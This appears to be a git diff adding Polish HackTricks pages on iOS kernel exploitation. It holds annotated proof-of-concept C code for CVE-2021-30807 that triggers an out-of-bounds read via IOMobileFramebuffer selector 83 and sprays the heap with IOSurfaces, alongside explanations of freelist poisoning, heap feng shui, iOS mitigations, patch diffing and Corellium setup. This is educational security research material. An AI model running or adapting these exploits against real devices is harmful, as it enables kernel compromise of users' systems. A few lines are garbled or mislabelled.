do wywołania vuln z procesu działającego w piaskownicy. + +## DoS PoC + +The following is the initial DoS PoC from the ooriginal blog post with extra comments: +```c +// PoC for CVE-2021-30807 trigger (annotated) +// NOTE: This demonstrates the crash trigger; it is NOT an LPE. +// Build/run only on devices you own and that are vulnerable. +// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory) +// https://support.apple.com/en-us/103144 +// https://nvd.nist.gov/vuln/detail/CVE-2021-30807 + +void trigger_clcd_vuln(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; + +// The "type" argument is the type (selector) of user client to open. +// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the +// external methods we need (incl. selector 83). If this doesn't work on your +// build, try different types or query IORegistry to enumerate. +int type = 2; + +// 1) Locate the IOMobileFramebuffer service in the IORegistry. +// This returns the first matched service object (a kernel object handle). +io_service_t service = IOServiceGetMatchingService( +kIOMasterPortDefault, +IOServiceMatching("IOMobileFramebuffer")); + +if (service == MACH_PORT_NULL) { +printf("failed to open service\n"); +return; +} + +printf("service: 0x%x\n", service); + +// 2) Open a connection (user client) to the service. +// The user client is what exposes external methods to userland. +// 'type' selects which user client class/variant to instantiate. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if (ret != KERN_SUCCESS) { +printf("failed to open userclient: %s\n", mach_error_string(ret)); +return; +} + +printf("client: 0x%x\n", shared_user_client_conn); + +printf("call externalMethod\n"); + +// 3) Prepare input scalars for the external method call. +// The vulnerable path uses a 32-bit scalar as an INDEX into an internal +// array of pointers WITHOUT bounds checking (OOB read / type confusion). +// We set it to a large value to force the out-of-bounds access. +uint64_t scalars[4] = { 0x0 }; +scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup + +// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID). +uint64_t output_scalars[4] = { 0 }; +uint32_t output_scalars_size = 1; + +printf("call s_default_fb_surface\n"); + +// 5) Invoke external method #83. +// On vulnerable builds, this path ends up calling: +// IOMobileFramebufferUserClient::s_displayed_fb_surface(...) +// → IOMobileFramebufferLegacy::get_displayed_surface(...) +// which uses our index to read a pointer and then passes it as IOSurface*. +// If the pointer is bogus, IOSurface code will dereference it and the kernel +// will panic (DoS). +ret = IOConnectCallMethod( +shared_user_client_conn, +83, // **Selector 83**: vulnerable external method +scalars, 1, // input scalars (count = 1; the OOB index) +NULL, 0, // no input struct +output_scalars, &output_scalars_size, // optional outputs +NULL, NULL); // no output struct + +// 6) Check the call result. On many vulnerable targets, you'll see either +// KERN_SUCCESS right before a panic (because the deref happens deeper), +// or an error if the call path rejects the request (e.g., entitlement/type). +if (ret != KERN_SUCCESS) { +printf("failed to call external method: 0x%x --> %s\n", +ret, mach_error_string(ret)); +return; +} + +printf("external method returned KERN_SUCCESS\n"); + +// 7) Clean up the user client connection handle. +IOServiceClose(shared_user_client_conn); +printf("success!\n"); +} +``` +## Wyjaśnienie PoC arbitralnego odczytu + +1. **Otwarcie właściwego user clienta** + +- `get_appleclcd_uc()` znajduje usługę **AppleCLCD** i otwiera **user client type 2**. AppleCLCD i IOMobileFramebuffer dzielą tę samą tabelę external-methods; typ 2 ujawnia **selector 83**, podatną metodę. **To jest Twoje wejście do buga.** E_POC/) + +**Dlaczego 83 ma znaczenie:** zdekompilowana ścieżka to: + +- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\ +→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\ +→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\ +Wewnątrz tego ostatniego wywołania kod **używa twojego 32-bitowego scalara jako indeksu tablicy bez sprawdzenia zakresu**, pobiera wskaźnik z **`this + 0xA58 + index*8`**, i **przekazuje go jako `IOSurface*`** do `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **To jest OOB + type confusion.** + +2. **Heap spray (dlaczego tu pojawia się IOSurface)** + +- `do_spray()` używa **`IOSurfaceRootUserClient`** do **utworzenia wielu IOSurface'ów** i **wstrzyknięcia małych wartości** (styl `s_set_value`). To wypełnia pobliskie sterownikowe heapy **wskaźnikami do prawidłowych obiektów IOSurface**. + +- **Cel:** gdy selector 83 odczyta poza poprawną tabelę, prawdopodobnie **slot OOB będzie zawierał wskaźnik do jednego z twoich (prawdziwych) IOSurface'ów** — dzięki temu późniejsze dereferencje **nie powodują crasha** i **powodują sukces**. IOSurface to klasyczny, dobrze udokumentowany primitive do heap sprayu w kernelu, a post Saara wyraźnie wymienia metody **create / set_value / lookup** użyte w tym flow exploitacji. + +3. **Sztuczka "offset/8" (czym naprawdę jest ten indeks)** + +- W `trigger_oob(offset)` ustawiasz `scalars[0] = offset / 8`. + +- **Dlaczego dzielić przez 8?** Kernel wykonuje **`base + index*8`**, aby obliczyć, którą **slotową** (pointer-sized) pozycję odczytać. Wybierasz **"numer slotu N"**, a nie bajtowy offset. **Osiem bajtów na slot** na 64-bit. + +- Obliczony adres to **`this + 0xA58 + index*8`**. PoC używa dużej stałej (`0x1200000 + 0x1048`), po prostu żeby wejść **daleko poza granice** do regionu, który próbowałeś **gęsto zapełnić wskaźnikami IOSurface**. **Jeśli spray "wygra", trafiony slot będzie poprawnym `IOSurface*`.** + +4. **Co zwraca selector 83 (to jest subtelna część)** + +- Wywołanie to: + +`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, +output_scalars, &output_scalars_size, NULL, NULL);`o + +- Wewnątrz, po OOB pobraniu wskaźnika, sterownik wywołuje\ +**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**. + +- **Wynik:** **`output_scalars[0]` jest nazwą portu Mach (u32 handle) w twoim tasku** dla *dowolnego wskaźnika obiektu, który podałeś przez OOB*. **To nie jest surowy kernelowy adres leak; to handle w userspace (send right).** To dokładne zachowanie (kopiowanie *port name*) jest pokazane w dekompilacji Saara. + +**Dlaczego to jest użyteczne:** mając **nazwę portu** do (rzekomego) IOSurface możesz teraz użyć metod IOSurfaceRoot takich jak: + +- **`s_lookup_surface_from_port` (method 34)** → zamienia port na **surface ID**, którym możesz operować przez inne wywołania IOSurface, oraz + +- **`s_create_port_from_surface` (method 35)** jeśli potrzebujesz odwrotności.\ +Saar wyraźnie wskazuje te metody jako następny krok. **PoC pokazuje, że możesz "wyprodukować" prawidłowy handle IOSurface z slotu OOB.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com) + +This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps: +```c +#include "exploit.h" + +// Open the AppleCLCD (aka IOMFB) user client so we can call external methods. +io_connect_t get_appleclcd_uc(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; +int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐ +// (AppleCLCD and IOMobileFramebuffer share the same external methods table.) + +// Find the **AppleCLCD** service in the IORegistry. +io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, +IOServiceMatching("AppleCLCD")); +if(service == MACH_PORT_NULL) { +printf("[-] failed to open service\n"); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD service: 0x%x\n", service); + +// Open a user client connection to AppleCLCD with the chosen **type**. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if(ret != KERN_SUCCESS) { +printf("[-] failed to open userclient: %s\n", mach_error_string(ret)); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn); +return shared_user_client_conn; +} + +// Trigger the OOB index path of external method #83. +// The 'offset' you pass is in bytes; dividing by 8 converts it to the +// index of an 8-byte pointer slot in the internal table at (this + 0xA58). +uint64_t trigger_oob(uint64_t offset) { +kern_return_t ret; + +// The method takes a single 32-bit scalar that it uses as an index. +uint64_t scalars[1] = { 0x0 }; +scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐ + +// #83 returns one scalar. In this flow it will be the Mach port name +// (a u32 handle in our task), not a kernel pointer. +uint64_t output_scalars[1] = { 0 }; +uint32_t output_scalars_size = 1; + +io_connect_t appleclcd_uc = get_appleclcd_uc(); +if (appleclcd_uc == MACH_PORT_NULL) { +return 0; +} + +// Call external method 83. Internally: +// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch +// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out) +// which creates a send right for that object and writes its port name +// into output_scalars[0]. If ptr is junk → deref/panic (DoS). +ret = IOConnectCallMethod(appleclcd_uc, 83, +scalars, 1, +NULL, 0, +output_scalars, &output_scalars_size, +NULL, NULL); + +if (ret != KERN_SUCCESS) { +printf("[-] external method 83 failed: %s\n", mach_error_string(ret)); +return 0; +} + +// This is the key: you get back a Mach port name (u32) to whatever +// object was at that OOB slot (ideally an IOSurface you sprayed). +printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]); +return output_scalars[0]; +} + +// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a +// real IOSurface (easier & stabler than a fully fake object). +bool do_spray(void) { +char data[0x10]; +memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying. + +// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +printf("[-] do_spray: failed to allocate new iosurface_uc\n"); +return false; +} + +// Create many IOSurfaces and use set_value / value spray helpers +// (Brandon Azad-style) to fan out allocations in kalloc. ⭐ +int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int)); +for (size_t i = 0; i < SURFACES_COUNT; ++i) { +surface_ids[i] = create_surface(iosurface_uc); // s_create_surface +if (surface_ids[i] <= 0) { +return false; +} + +// Spray small values repeatedly: tends to allocate/fill predictable +// kalloc regions near where the IOMFB table OOB will read from. +// The “with_gc” flavor forces periodic GC to keep memory moving/packed. +if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i], +20, 200, // rounds, per-round items +data, sizeof(data), +NULL) == false) { +printf("iosurface spray failed\n"); +return false; +} +} +return true; +} + +int main(void) { +// Ensure we can talk to IOSurfaceRoot (some helpers depend on it). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +return 0; +} + +printf("[*] do spray\n"); +if (do_spray() == false) { +printf("[-] shape failed, abort\n"); +return 1; +} +printf("[*] spray success\n"); + +// Trigger the OOB read. The magic constant chooses a pointer-slot +// far beyond the legit array (offset is in bytes; index = offset/8). +// If the spray worked, this returns a **Mach port name** (handle) to one +// of your sprayed IOSurfaces; otherwise it may crash. +printf("[*] trigger\n"); +trigger_oob(0x1200000 + 0x1048); +return 0; +} +``` +## Referencje +- [Oryginalny writeup autorstwa Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/) +- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC) +- [Badania jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/README.md b/src/binary-exploitation/ios-exploiting/README.md new file mode 100644 index 000000000..1e8e81d2e --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/README.md @@ -0,0 +1,272 @@ +# iOS Exploiting + +{{#include ../../banners/hacktricks-training.md}} + +## iOS Exploit Mitigations + +- **Code Signing** in iOS działa w ten sposób, że każdy kawałek wykonywalnego kodu (apps, libraries, extensions, etc.) musi być kryptograficznie podpisany certyfikatem wydanym przez Apple. Gdy kod jest ładowany, iOS weryfikuje podpis cyfrowy względem zaufanego rootu Apple. Jeśli podpis jest nieprawidłowy, brakujący lub zmodyfikowany, system odmawia uruchomienia. To uniemożliwia atakującym wstrzykiwanie złośliwego kodu do legalnych aplikacji lub uruchamianie unsigned binaries, efektywnie blokując większość łańcuchów exploitów polegających na wykonaniu dowolnego lub zmodyfikowanego kodu. +- **CoreTrust** to podsystem iOS odpowiedzialny za egzekwowanie code signing w czasie wykonywania. Weryfikuje on podpisy bezpośrednio przy użyciu root certyfikatu Apple, nie polegając na cache’owanych store’ach zaufania, co oznacza, że tylko binaria podpisane przez Apple (lub posiadające ważne entitlements) mogą być uruchamiane. CoreTrust zapewnia, że nawet jeśli atakujący zmanipuluje aplikację po instalacji, zmodyfikuje systemowe biblioteki lub spróbuje załadować unsigned code, system zablokuje wykonanie, chyba że kod nadal jest poprawnie podpisany. Ta ścisła egzekucja zamyka wiele wektorów post-exploitation, które starsze wersje iOS pozwalały obejść przez słabsze lub obchodliwe sprawdzanie podpisów. +- **Data Execution Prevention (DEP)** oznacza regiony pamięci jako non-executable, chyba że jawnie zawierają kod. To uniemożliwia atakującym wstrzykiwanie shellcode do obszarów danych (jak stack czy heap) i jego uruchomienie, zmuszając do użycia bardziej złożonych technik jak ROP (Return-Oriented Programming). +- **ASLR (Address Space Layout Randomization)** losowo rozmieszcza adresy pamięci kodu, bibliotek, stosu i sterty przy każdym uruchomieniu systemu. To utrudnia atakującym przewidzenie, gdzie znajdują się przydatne instrukcje lub gadgets, łamiąc wiele łańcuchów exploitów zależnych od stałego layoutu pamięci. +- **KASLR (Kernel ASLR)** stosuje ten sam koncept randomizacji do kernela iOS. Poprzez mieszanie bazowego adresu kernela przy każdym bootie, uniemożliwia atakującym niezawodne zlokalizowanie funkcji czy struktur kernela, podnosząc trudność exploitów na poziomie kernela, które w przeciwnym razie uzyskałyby pełną kontrolę nad systemem. +- **Kernel Patch Protection (KPP)** znane także jako **AMCC (Apple Mobile File Integrity)** w iOS, ciągle monitoruje strony kodu kernela, aby upewnić się, że nie zostały zmodyfikowane. Jeśli wykryte zostanie jakiekolwiek manipulowanie — np. exploit próbujący załatać funkcje kernela albo wstrzyknąć złośliwy kod — urządzenie natychmiast zpanicuje i zrestartuje się. Ta ochrona sprawia, że trwałe exploity na poziomie kernela są znacznie trudniejsze, ponieważ atakujący nie mogą po prostu hookować lub łatać instrukcji kernela bez wywołania crasha systemu. +- **Kernel Text Readonly Region (KTRR)** to sprzętowa funkcja bezpieczeństwa wprowadzona na urządzeniach iOS. Wykorzystuje kontroler pamięci CPU, aby oznaczyć sekcję kodu (text) kernela jako na stałe read-only po starcie. Gdy zostanie zablokowana, nawet sam kernel nie może modyfikować tego regionu pamięci. To zapobiega atakującym — a nawet uprzywilejowanemu kodowi — w łacie instrukcji kernela w czasie działania, zamykając dużą klasę exploitów polegających na bezpośredniej modyfikacji kodu kernela. +- **Pointer Authentication Codes (PAC)** używają podpisów kryptograficznych osadzonych w nieużywanych bitach pointerów, aby weryfikować ich integralność przed użyciem. Gdy pointer (np. return address lub function pointer) jest tworzony, CPU podpisuje go z użyciem sekretnego klucza; przed dereferencją CPU sprawdza ten podpis. Jeśli pointer został zmanipulowany, check nie przejdzie i wykonanie zostanie przerwane. To uniemożliwia atakującym fałszowanie lub ponowne użycie uszkodzonych pointerów w exploitach bazujących na korupcji pamięci, czyniąc techniki takie jak ROP czy JOP znacznie trudniejszymi do zrealizowania. +- **Privilege Access never (PAN)** to funkcja sprzętowa, która zapobiega bezpośredniemu dostępowi kernela (privileged mode) do pamięci user-space, chyba że jawnie włączy dostęp. To hamuje atakujących, którzy uzyskali wykonanie kodu w kernelu, przed łatwym odczytem lub zapisem pamięci użytkownika celem eskalacji exploitów lub kradzieży wrażliwych danych. Przez egzekwowanie ścisłego rozdziału, PAN zmniejsza wpływ exploitów kernelowych i blokuje wiele powszechnych technik eskalacji uprawnień. +- **Page Protection Layer (PPL)** to mechanizm bezpieczeństwa iOS, który chroni krytyczne regiony pamięci zarządzane przez kernel, szczególnie te związane z code signing i entitlements. Egzekwuje ścisłe write protections używając MMU (Memory Management Unit) oraz dodatkowych checków, zapewniając, że nawet uprzywilejowany kod kernela nie może arbitralnie modyfikować wrażliwych stron. To uniemożliwia atakującym, którzy uzyskali execution na poziomie kernela, manipulowanie strukturami krytycznymi dla bezpieczeństwa, czyniąc persistence i obejścia code-signing znacznie trudniejszymi. + +## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era) + +Kernel używał **zone allocator** (`kalloc`) podzielonego na strefy o stałym rozmiarze ("zones"). +Każda strefa przechowywała alokacje tylko jednej klasy rozmiaru. + +Z ekranu: + +| Zone Name | Element Size | Example Use | +|----------------------|--------------|-----------------------------------------------------------------------------| +| `default.kalloc.16` | 16 bytes | Very small kernel structs, pointers. | +| `default.kalloc.32` | 32 bytes | Small structs, object headers. | +| `default.kalloc.64` | 64 bytes | IPC messages, tiny kernel buffers. | +| `default.kalloc.128` | 128 bytes | Medium objects like parts of `OSObject`. | +| `default.kalloc.256` | 256 bytes | Larger IPC messages, arrays, device structures. | +| … | … | … | +| `default.kalloc.1280`| 1280 bytes | Large structures, IOSurface/graphics metadata. | + +**Jak to działało:** +- Każde żądanie alokacji było **zaokrąglane w górę** do najbliższego rozmiaru strefy. +(Np. żądanie 50 bajtów trafiało do strefy `kalloc.64`). +- Pamięć w każdej strefie była utrzymywana w **freelist** — chunky zwolnione przez kernel wracały do tej strefy. +- Jeśli przepełniłeś 64-bajtowy bufor, nadpisałbyś **następny obiekt w tej samej strefie**. + +Dlatego właśnie **heap spraying / feng shui** było tak skuteczne: można było przewidzieć sąsiedztwo obiektów przez spryskiwanie alokacji tej samej klasy rozmiaru. + +### The freelist + +Wewnątrz każdej strefy kalloc, zwolnione obiekty nie były zwracane bezpośrednio do systemu — trafiały do freelist, listy powiązanej dostępnych chunków. + +- Gdy chunk był zwalniany, kernel zapisywał wskaźnik na początek tego chunka → adres następnego wolnego chunka w tej samej strefie. + +- Strefa trzymała HEAD wskaźnik do pierwszego wolnego chunka. + +- Alokacja zawsze używała aktualnego HEAD: + +1. Pop HEAD (zwróć tę pamięć callerowi). + +2. Update HEAD = HEAD->next (przechowywane w headerze zwolnionego chunka). + +- Freeing wrzucało chunk z powrotem: + +- `freed_chunk->next = HEAD` + +- `HEAD = freed_chunk` + +Więc freelist był po prostu linked list budowaną wewnątrz samej zwolnionej pamięci. + +Normal state: +``` +Zone page (64-byte chunks for example): +[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ] + +Freelist view: +HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL +(next ptrs stored at start of freed chunks) +``` +### Wykorzystywanie freelist + +Ponieważ pierwsze 8 bajtów wolnego chunk = freelist pointer, atakujący może go uszkodzić: + +1. **Heap overflow** into an adjacent freed chunk → overwrite its “next” pointer. + +2. **Use-after-free** write into a freed object → overwrite its “next” pointer. + +Then, on the next allocation of that size: + +- Alokator wyciąga (pop) sfałszowany chunk. + +- Podąża za dostarczonym przez atakującego “next” pointer. + +- Zwraca wskaźnik do dowolnej pamięci, umożliwiając fake object primitives lub ukierunkowane nadpisanie. + +Wizualny przykład freelist poisoning: +``` +Before corruption: +HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL + +After attacker overwrite of F1->next: +HEAD ──► [ F1 ] +(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen) + +Next alloc of this zone → kernel hands out memory at attacker-controlled address. +``` +Ten freelist design sprawiał, że eksploatacja była wysoce efektywna przed hardeningiem: przewidywalni neighbors z heap sprays, surowe wskaźniki raw pointer freelist links oraz brak separacji typów pozwalały atakującym eskalować błędy UAF/overflow do dowolnej kontroli pamięci jądra. + +### Heap Grooming / Feng Shui +The goal of heap grooming is to **shape the heap layout** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\ +That way, when memory corruption happens, the attacker can reliably overwrite the victim object with controlled data. + +**Steps:** + +1. Spray allocations (fill the holes) +- Over time, the kernel heap gets fragmented: some zones have holes where old +objects were freed. +- The attacker first makes lots of dummy allocations to fill these gaps, so +the heap becomes “packed” and predictable. + +2. Force new pages +- Once the holes are filled, the next allocations must come from new pages +added to the zone. +- Fresh pages mean objects will be clustered together, not scattered across +old fragmented memory. +- This gives the attacker much better control of neighbors. + +3. Place attacker objects +- The attacker now sprays again, creating lots of attacker-controlled objects +in those new pages. +- These objects are predictable in size and placement (since they all belong +to the same zone). + +4. Free a controlled object (make a gap) +- The attacker deliberately frees one of their own objects. +- This creates a “hole” in the heap, which the allocator will later reuse for +the next allocation of that size. + +5. Victim object lands in the hole +- The attacker triggers the kernel to allocate the victim object (the one +they want to corrupt). +- Since the hole is the first available slot in the freelist, the victim is +placed exactly where the attacker freed their object. + +6. Overflow / UAF into victim +- Now the attacker has attacker-controlled objects around the victim. +- By overflowing from one of their own objects (or reusing a freed one), they +can reliably overwrite the victim’s memory fields with chosen values. + +**Why it works**: + +- Zone allocator predictability: allocations of the same size always come from +the same zone. +- Freelist behavior: new allocations reuse the most recently freed chunk first. +- Heap sprays: attacker fills memory with predictable content and controls layout. +- End result: attacker controls where the victim object lands and what data sits +next to it. + +--- + +## Nowoczesny Kernel Heap (iOS 15+/A12+ SoCs) + +Apple wzmocniło allocator i sprawiło, że **heap grooming jest znacznie trudniejsze**: + +### 1. From Classic kalloc to kalloc_type +- **Before**: a single `kalloc.` zone existed for each size class (16, 32, 64, … 1280, etc.). Any object of that size was placed there → attacker objects could sit next to privileged kernel objects. +- **Now**: +- Kernel objects are allocated from **typed zones** (`kalloc_type`). +- Each type of object (e.g., `ipc_port_t`, `task_t`, `OSString`, `OSData`) has its own dedicated zone, even if they’re the same size. +- The mapping between object type ↔ zone is generated from the **kalloc_type system** at compile time. + +An attacker can no longer guarantee that controlled data (`OSData`) ends up adjacent to sensitive kernel objects (`task_t`) of the same size. + +### 2. Slabs and Per-CPU Caches +- The heap is divided into **slabs** (pages of memory carved into fixed-size chunks for that zone). +- Each zone has a **per-CPU cache** to reduce contention. +- Allocation path: +1. Try per-CPU cache. +2. If empty, pull from the global freelist. +3. If freelist is empty, allocate a new slab (one or more pages). +- **Benefit**: This decentralization makes heap sprays less deterministic, since allocations may be satisfied from different CPUs’ caches. + +### 3. Randomization inside zones +- Within a zone, freed elements are not handed back in simple FIFO/LIFO order. +- Modern XNU uses **encoded freelist pointers** (safe-linking like Linux, introduced ~iOS 14). +- Each freelist pointer is **XOR-encoded** with a per-zone secret cookie. +- This prevents attackers from forging a fake freelist pointer if they gain a write primitive. +- Some allocations are **randomized in their placement within a slab**, so spraying doesn’t guarantee adjacency. + +### 4. Guarded Allocations +- Certain critical kernel objects (e.g., credentials, task structures) are allocated in **guarded zones**. +- These zones insert **guard pages** (unmapped memory) between slabs or use **redzones** around objects. +- Any overflow into the guard page triggers a fault → immediate panic instead of silent corruption. + +### 5. Page Protection Layer (PPL) and SPTM +- Even if you control a freed object, you can’t modify all of kernel memory: +- **PPL (Page Protection Layer)** enforces that certain regions (e.g., code signing data, entitlements) are **read-only** even to the kernel itself. +- On **A15/M2+ devices**, this role is replaced/enhanced by **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**. +- These hardware-enforced layers mean attackers can’t escalate from a single heap corruption to arbitrary patching of critical security structures. + +### 6. Large Allocations +- Not all allocations go through `kalloc_type`. +- Very large requests (above ~16KB) bypass typed zones and are served directly from **kernel VM (kmem)** via page allocations. +- These are less predictable, but also less exploitable, since they don’t share slabs with other objects. + +### 7. Allocation Patterns Attackers Target +Even with these protections, attackers still look for: +- **Reference count objects**: if you can tamper with retain/release counters, you may cause use-after-free. +- **Objects with function pointers (vtables)**: corrupting one still yields control flow. +- **Shared memory objects (IOSurface, Mach ports)**: these are still attack targets because they bridge user ↔ kernel. + +But — unlike before — you can’t just spray `OSData` and expect it to neighbor a `task_t`. You need **type-specific bugs** or **info leaks** to succeed. + +### Example: Allocation Flow in Modern Heap + +Suppose userspace calls into IOKit to allocate an `OSData` object: + +1. **Type lookup** → `OSData` maps to `kalloc_type_osdata` zone (size 64 bytes). +2. Check per-CPU cache for free elements. +- If found → return one. +- If empty → go to global freelist. +- If freelist empty → allocate a new slab (page of 4KB → 64 chunks of 64 bytes). +3. Return chunk to caller. + +**Freelist pointer protection**: +- Each freed chunk stores the address of the next free chunk, but encoded with a secret key. +- Overwriting that field with attacker data won’t work unless you know the key. + + +## Comparison Table + +| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** | +|---------------------------------|------------------------------------------------------------|--------------------------------------------------| +| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) | +| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) | +| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) | +| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects | +| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages | +| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks | + +## (Old) Physical Use-After-Free via IOSurface + +{{#ref}} +ios-physical-uaf-iosurface.md +{{#endref}} + +--- + +## Ghidra Install BinDiff + +Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it. + +Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and isntall it even if there is a version mismatch. + +### Using BinDiff with Kernel versions + +1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files. +2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on: + +{{#ref}} +../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +{{#endref}} + +3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches. +4. Open each kernelcache so they are automatically analyzed by Ghidra. +5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them. +6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache. + +--- + +## Finding the right XNU version + +If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel). + +For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`. + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-corellium.md b/src/binary-exploitation/ios-exploiting/ios-corellium.md new file mode 100644 index 000000000..aed1131b5 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-corellium.md @@ -0,0 +1,79 @@ +# iOS Jak połączyć się z Corellium + +{{#include ../../banners/hacktricks-training.md}} + +## **Wymagania wstępne** +- VM iOS na Corellium (jailbroken lub nie). W tym przewodniku zakładamy, że masz dostęp do Corellium. +- Narzędzia lokalne: **ssh/scp**. +- (Opcjonalnie) **SSH keys** dodane do projektu Corellium, aby umożliwić logowanie bez hasła. + + +## **Połączenie z iPhone VM z localhost** + +### A) **Quick Connect (no VPN)** +0) Dodaj swój SSH key w **`/admin/projects`** (zalecane). +1) Otwórz stronę urządzenia → **Connect** +2) **Skopiuj Quick Connect SSH command** wyświetlany przez Corellium i wklej go w terminalu. +3) Wprowadź hasło lub użyj swojego klucza (zalecane). + +### B) **VPN → direct SSH** +0) Dodaj swój SSH key w **`/admin/projects`** (zalecane). +1) Strona urządzenia → **CONNECT** → **VPN** → pobierz `.ovpn` i połącz się za pomocą dowolnego klienta VPN obsługującego tryb TAP. (Sprawdź [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) jeśli masz problemy.) +2) Zaloguj się przez SSH na adres VM **10.11.x.x**: +```bash +ssh root@10.11.1.1 +``` +## **Prześlij native binary & uruchom go** + +### 2.1 **Przesyłanie** +- Jeśli Quick Connect podał ci host/port: +```bash +scp -J ./mytool root@10.11.1.1:/var/root/mytool +``` +- Jeśli używasz VPN (10.11.x.x): +```bash +scp ./mytool -J root@10.11.1.1:/var/root/mytool +``` +## **Prześlij i zainstaluj aplikację iOS (.ipa)** + +### Ścieżka A — **Web UI (najszybsza)** +1) Strona urządzenia → zakładka **Apps** → **Install App** → wybierz plik `.ipa`. +2) Z tej samej zakładki możesz **launch/kill/uninstall**. + +### Ścieżka B — **Skryptowo przez Corellium Agent** +1) Użyj API Agent, aby **upload** a następnie **install**: +```js +// Node.js (pseudo) using Corellium Agent +await agent.upload("./app.ipa", "/var/tmp/app.ipa"); +await agent.install("/var/tmp/app.ipa", (progress, status) => { +console.log(progress, status); +}); +``` +### Ścieżka C — **Non-jailbroken (proper signing / Sideloadly)** +- Jeśli nie masz provisioning profile, użyj **Sideloadly** do ponownego podpisania przy użyciu Apple ID, lub zaloguj się w Xcode. +- Możesz również udostępnić VM Xcode używając **USBFlux** (zob. §5). + + +- Dla szybkiego podglądu logów/wykonywania komend bez SSH, użyj urządzenia **Console** w UI. + +## **Dodatki** + +- **Port-forwarding** (spraw, aby VM wyglądała jak lokalna dla innych narzędzi): +```bash +# Forward local 2222 -> device 22 +ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1 +# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/ +``` +- **LLDB remote debugging**: użyj adresu **LLDB/GDB stub** wyświetlanego na dole strony urządzenia (CONNECT → LLDB). + +- **USBFlux (macOS/Linux)**: udostępnij VM dla **Xcode/Sideloadly** jako urządzenie podłączone kablem. + + +## **Common pitfalls** +- **Proper signing** jest wymagane na **non-jailbroken** 